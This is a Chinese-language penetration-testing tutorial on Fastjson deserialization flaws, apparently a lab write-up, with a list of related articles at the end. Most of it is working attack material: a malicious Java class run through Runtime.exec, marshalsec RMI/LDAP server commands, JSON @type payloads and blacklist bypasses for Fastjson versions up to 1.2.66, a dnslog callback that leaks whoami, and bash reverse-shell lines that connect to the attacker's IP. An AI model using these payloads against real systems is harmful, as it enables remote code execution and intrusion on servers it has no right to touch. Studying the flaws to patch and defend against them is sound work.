FastJson渗透测试

1.FastJson 简介

fastjson.jar包原始下载地址:

https://github.com/alibaba/fastjson

fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。

将json字符串转化为json对象在net.sf.json中是这么做的JSONObject obj = new JSONObject().fromObject(jsonStr);//将json字符串转换为json对象在fastjson中是这么做的JSONObject obj=JSON.parseObject(jsonStr);//将json字符串转换为json对象

1.1 JNDI

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:
DNS、LDAP、CORBA对象服务、RMI

1.2 利用JNDI References进行注入

对于这个知识点,我们需要先了解RMI的作用。

首先RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。

服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); // Reference需要传入三个参数(className,factory,factoryLocation) // 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址 Reference refObj = new Reference('Evil', 'EvilObject', 'http://127.0.0.1:8000/'); // ReferenceWrapper包裹Reference类,使其能够通过RMI进行远程访问 ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind('refObj', refObjWrapper); }}
从ReferenceWrapper源码可以看出,该类继承自UnicastRemoteObject,实现对Reference的包裹,使其能够通过RMI进行远程访问
客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup('rmi://localhost:8000/refObj');
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
如果我们可以控制JNDI客户端中传入的url,就可以起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。
我们来看一下References,References类有两个属性,className和codebase url,className就是远程引用的类名,codebase决定了我们远程类的位置,当本地classpath中没有找到对应的类的时候,就会去请求codebase地址下的类(codebase支持http协议),此时如果我们将codebase地址下的类换成我们的恶意类,就能让客户端执行。
ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。
整个利用流程如下
1.首先开启HTTP服务器,并将我们的恶意类放在目录下2.开启恶意RMI服务器3.攻击者控制url参数为上一步开启的恶意RMI服务器地址4.恶意RMI服务器返回ReferenceWrapper类5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

2.FastJson渗透总结

1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。2.RMI是一种行为,指的是Java远程方法调用。3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。4.ldap指轻量级目录服务协议。
存在Java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

2.1 fastjson 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)

漏洞原理

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

影响版本

Fastjson < 1.2.25

漏洞启动

靶机:Ubuntu ip:192.168.9.234        攻击机:kali ip:192.168.10.65

开启fastjson漏洞

docker-compose up -ddocker ps

访问靶机,可以看见json格式的输出:

因为是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

在kali上执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。
curl http://192.168.9.234:8090/ -H 'Content-Type: application/json' --data '{'name':'zcc', 'age':18}'
kali安装Javac环境,这里我已经安装好了
cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version
编译恶意类代码
import java.lang.Runtime;import java.lang.Process;public class zcc{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {'touch', '/tmp/zcctest'}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}
javac zcc.java

搭建http服务传输恶意文件

python -m SimpleHTTPServer 80
编译并开启RMI服务:

>1 下载marshalsec(我这里已经安装好):

git clone https://github.com/mbechler/marshalsec.git

>2 然后安装maven:

apt-get install maven
>3 然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行:
mvn clean package -DskipTests
>4 然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定远程加载类TouchFile.class,这里的ip为你上面开启http服务的ip,我们这里就是kali的ip:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://192.168.10.65/#zcc' 9999

这里如果要启动LDAP服务的话,只需把上面命令中的RMI改成LDAP即可,例如:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://192.168.10.65/#zcc' 9999

可以看见请求成功,并加载了恶意类。

>5 使用BP抓包,并写入poc(记住请求包里面请求方式改成post,Content-Type改成application/json):

{ 'b':{ '@type':'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName':'rmi://192.168.10.65:9999/zcc', 'autoCommit':true }}

可以看见成功写入。

这里我们用dnslog做一个小测试:

http://www.dnslog.cn/

直接覆盖原来得文件;

'/bin/sh','-c','ping user.'whoami'.jeejay.dnslog.cn'

点击send发送之后成功回显

反弹shell的话也只需修改恶意类中commands的内容即可,代码参考如下,建议用第二个,第二个前面带主机名,看起来舒服点,我这里用的第一个;
'/bin/bash','-c','exec 5<>/dev/tcp/192.168.10.65/8899;cat <&5 | while read line; do $line 2>&5 >&5; done'或者'/bin/bash', '-c', 'bash -i >& /dev/tcp/192.168.10.65/1234 0>&1'

2.2 Fastjson 1.2.47远程命令执行漏洞

漏洞原理

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

影响版本

Fastjson < 1.2.47

漏洞启动

因为目标环境是openjdk:8u102,
这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以利用RMI进行命令执行。
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class zcc { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {'touch', '/tmp/zcctest111'}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

开启http服务

python -m SimpleHTTPServer 8080

借助marshalsec项目启动RMI服务器,监听9998端口,并制定加载远程类zcc.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://192.168.10.65/#zcc' 9999

发送payload,别忘了改Content-Type: application/json,可以看见成功写入,反弹shell的手段和上面1.2.24的一样:

{ 'a':{ '@type':'java.lang.Class', 'val':'com.sun.rowset.JdbcRowSetImpl' }, 'b':{ '@type':'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName':'rmi://192.168.10.65:9999/zcc', 'autoCommit':true }}

反弹shell;

'/bin/bash', '-c', 'bash -i >& /dev/tcp/192.168.10.65/8899 0>&1'

2.3 fastjson<=1.2.41漏洞详情

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以'L'开头、以';'结尾,是的话就提取出其中的类名在加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。

exp:
{ '@type':'Lcom.sun.rowset.JdbcRowSetImpl;', 'dataSourceName':'rmi://x.x.x.x:9999/rce_1_2_24_exploit', 'autoCommit':true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false

2.4 fastjson<=1.2.42漏洞详情

fastjson在1.2.42版本新增了校验机制。如果输入类名的开头和结尾是L和;就将头尾去掉再进行黑名单校验。绕过方法:在类名外部嵌套两层L和;。
原类名:com.sun.rowset.JdbcRowSetImpl绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{ '@type':'LLcom.sun.rowset.JdbcRowSetImpl;;', 'dataSourceName':'rmi://x.x.x.x:9999/exp', 'autoCommit':true}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

2.5 fastjson<=1.2.45漏洞详情

前提条件:目标服务器存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单。

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

{'@type':'org.apache.ibatis.datasource.jndi.JndiDataSourceFactory','properties':{'data_source':'ldap://localhost:1389/Exploit'}

2.6 fastjson<=1.2.47漏洞详情

对版本小于1.2.48的版本通杀,autoType为关闭状态也可用。loadClass中默认cache为true,利用分2步,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,绕过了黑名单机制。

exp:
{ 'a': { '@type': 'java.lang.Class', 'val': 'com.sun.rowset.JdbcRowSetImpl' }, 'b': { '@type': 'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName': 'rmi://x.x.x.x:9999/exp', 'autoCommit': true }}

2.7 fastjson<=1.2.62漏洞详情

基于黑名单绕过exp:

{'@type':'org.apache.xbean.propertyeditor.JndiConverter','AsText':'rmi://x.x.x.x:9999/exploit'}';

2.8 fastjson<=1.2.66漏洞详情

也是基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:

{'@type':'org.apache.shiro.jndi.JndiObjectFactory','resourceName':'ldap://192.168.80.1:1389/Calc'}{'@type':'br.com.anteros.dbcp.AnterosDBCPConfig','metricRegistry':'ldap://192.168.80.1:1389/Calc'}{'@type':'org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup','jndiNames':'ldap://192.168.80.1:1389/Calc'}{'@type':'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig','properties': {'@type':'java.util.Properties','UserTransaction':'ldap://192.168.80.1:1389/Calc'}}
(0)

相关推荐

  • java安全之fastjson链分析

    前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞: 1.2.22<=version<=1.2.24 1.2. ...

  • 初识Fastjson漏洞(环境搭建及漏洞复现)

    目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等.从入门者的角度看懂并复现漏洞触发,拥有属于自己 ...

  • Android之JSON处理器FastJson

    FastJson fastjson 是一个性能很好的 Java 语言实现的 JSON 解析器和生成器,来自阿里巴巴的工程师开发 主要特点: 快速FAST (比其它任何基于Java的解析器和生成器更快, ...

  • 『渗透测试』常见未授权访问总结

    日期:2021-05-11 作者:ICDAT 来源:宸极实验室 介绍:本文主要介绍了常见未授权访问漏洞的检测以及利用. 0x00 前言 最近测试过程遇到了一些未授权访问的漏洞,就做了一些总结,以后遇到 ...

  • 最牛渗透测试工具开发公司Rapid7源代码遭到Codecov供应链攻击

    了解过远程风险评估的朋友,对Metasploit肯定都不陌生,那么对Rapid7这个全球领先的安全风险信息解决方案提供商理应也是不陌生的.同时,对于2020年SolarWinds供应链攻击还在不断推陈 ...

  • 渗透测试可能遇到常用消息头-网络安全基础

    渗透测试员在攻击Web应用程序时可能遇到哪些消息头?HTTP支持许多不同的消息头,其中一些专用于特殊用途.一些消息头可用在请求与响应中,而其他一些消息头只能专门用在某个特定的消息中.那么渗透测试可能遇 ...

  • 渗透测试可能遇到哪些请求消息头?网络安全学习

    渗透测试员在攻击Web应用程序时可能遇到哪些消息头?HTTP支持许多不同的消息头,其中一些专用于特殊用途.一些消息头可用在请求与响应中,而其他一些消息头只能专门用在某个特定的消息中.那么渗透测试可能遇 ...

  • 渗透测试可能遇到哪些响应消息头?网络安全技能

    渗透测试员在攻击Web应用程序时可能遇到哪些响应消息头?HTTP支持许多不同的消息头,其中一些专用于特殊用途.一些消息头可用在请求与响应中,而其他一些消息头只能专门用在某个特定的消息中.那么渗透测试可 ...

  • 一般渗透测试的流程步骤是什么?网络安全知识

    渗透测试这个事情不是随便拿个工具就可以做了,要了解业务还需要给出解决方案.那么对于网络安全工程来说,工作中的渗透测试的流程是怎样的?渗透测试与入侵有什么区别? 渗透测试与入侵的最大区别? 渗透测试:出 ...

  • 渗透测试前期之信息收集总结

    信息收集的意义 信息收集对于渗透测试前期来说是非常重要的.正所谓,知己知彼百战不殆,信息收集是渗透测试成功的保障,只有我们掌握了目标网站或目标主机足够多的信息之后,才能更好地进行渗透测试. 信息收集的 ...

  • 记一次相对完整的渗透测试

    教育src 700rank了想着继续冲一波分,早日上核心,于是就有了下面这一次渗透测试的过程了. 开局一个登陆框,且存在密码找回功能. 归属为某教育局 开启burp 抓取登陆包,发现用户密码并未加密 ...

  • 内网渗透测试:初探远程桌面的安全问题

    乌雲安全 81篇原创内容 公众号 前言 远程桌面对了解内网渗透的人来说可能再熟悉不过了.在渗透测试中,拿下一台主机后有时候会选择开 3389 进远程桌面查看一下对方主机内有无一些有价值的东西可以利用. ...